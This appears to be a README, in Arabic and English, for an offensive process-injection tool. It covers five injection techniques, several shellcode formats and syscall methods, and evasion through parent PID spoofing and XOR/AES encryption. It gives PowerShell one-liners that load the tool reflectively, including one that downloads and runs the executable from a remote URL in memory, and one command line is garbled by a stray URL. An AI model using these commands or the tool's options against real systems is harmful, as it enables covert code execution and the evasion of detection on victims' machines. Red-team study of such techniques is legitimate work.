
هذا البرنامج مصمم لتوضيح تقنيات حقن العمليات المختلفة
تم تصميم البرنامج لتنفيذ حقن العمليات (Process Injection). تدعم الأداة حالياً 5 تقنيات لحقن العمليات.
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) KernelCallbackTable Injection
تقبل الأداة الشيل كود (Shellcode) بأربعة تنسيقات.
1) base64
2) hex
3) c
4) raw
تدعم الأداة 4 طرق لتنفيذ حقن العمليات.
1) P/Invoke
2) D/Invoke
3) Direct Syscalls
4) Indirect Syscalls
تدعم 3 تقنيات لتجنب الاكتشاف.
1) Parent PID Spoofing
Encryption
2) XOR Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)
3) AES Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)
يمكن تحميلها عبر الانعكاس (Reflection).
# Load from the disk
[System.Reflection.Assembly]:https://raw.githubusercontent.com/3xpl01tc0d3r/processinjection/master/:Load(%5BSystem.IO.File%5D::ReadAllBytes(%22ProcessInjection.exe%22))
# Load from a remote server
[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://<URL>/ProcessInjection.exe"))
# Perform process injection
[ProcessInjection.ProcessInjection]::Main(@("/t:1", "/f:base64", "/pid:<ProcessId>", "/sc:<ShellCode>"))
Usage Description
----- -----------
/t Specify the process injection technique id.
1 = Vanilla Process Injection
2 = DLL Injection
3 = Process Hollowing
4 = APC Queue Injection
5 = KernelCallbackTable Injection
/m Specify the method to be used
p = P/Invoke (Default)
d = D/Invoke
ds = Direct Syscalls
ids = Indirect Syscalls
/f Specify the format of the shellcode.
base64
hex
c
raw
/pid Specify the process id.
/parentproc Specify the parent process name.
/path Specify the path of the file that contains the shellcode.
/ppath Specify the path of the executable that will be spawned (Mandatory while using /parentproc argument).
/url Specify the url where the shellcode is hosted.
/enc Specify the encryption type (aes or xor) in which the shellcode is encrypted.
/key Specify the key that will be used to decrypt the shellcode.
/sc Specify the shellcode directly in base64 or hex format. Note: To pass large shellcode please leverage reflection to run the program.
/help Show help
https://3xpl01tc0d3r.blogspot.com/2019/08/process-injection-part-i.html
https://3xpl01tc0d3r.blogspot.com/2019/09/process-injection-part-ii.html
https://3xpl01tc0d3r.blogspot.com/2019/10/process-injection-part-iii.html
https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e
https://3xpl01tc0d3r.blogspot.com/2019/12/process-injection-part-v.html
https://3xpl01tc0d3r.blogspot.com/2020/08/process-injection-tool-updates.html
كما يعود الفضل أيضاً إلى:
Aaron Bray و Rasta Mouse لكتابة كود Process Hollowing
The Wover و b33f لـ Dynamic Invoke - (https://thewover.github.io/Dynamic-Invoke/)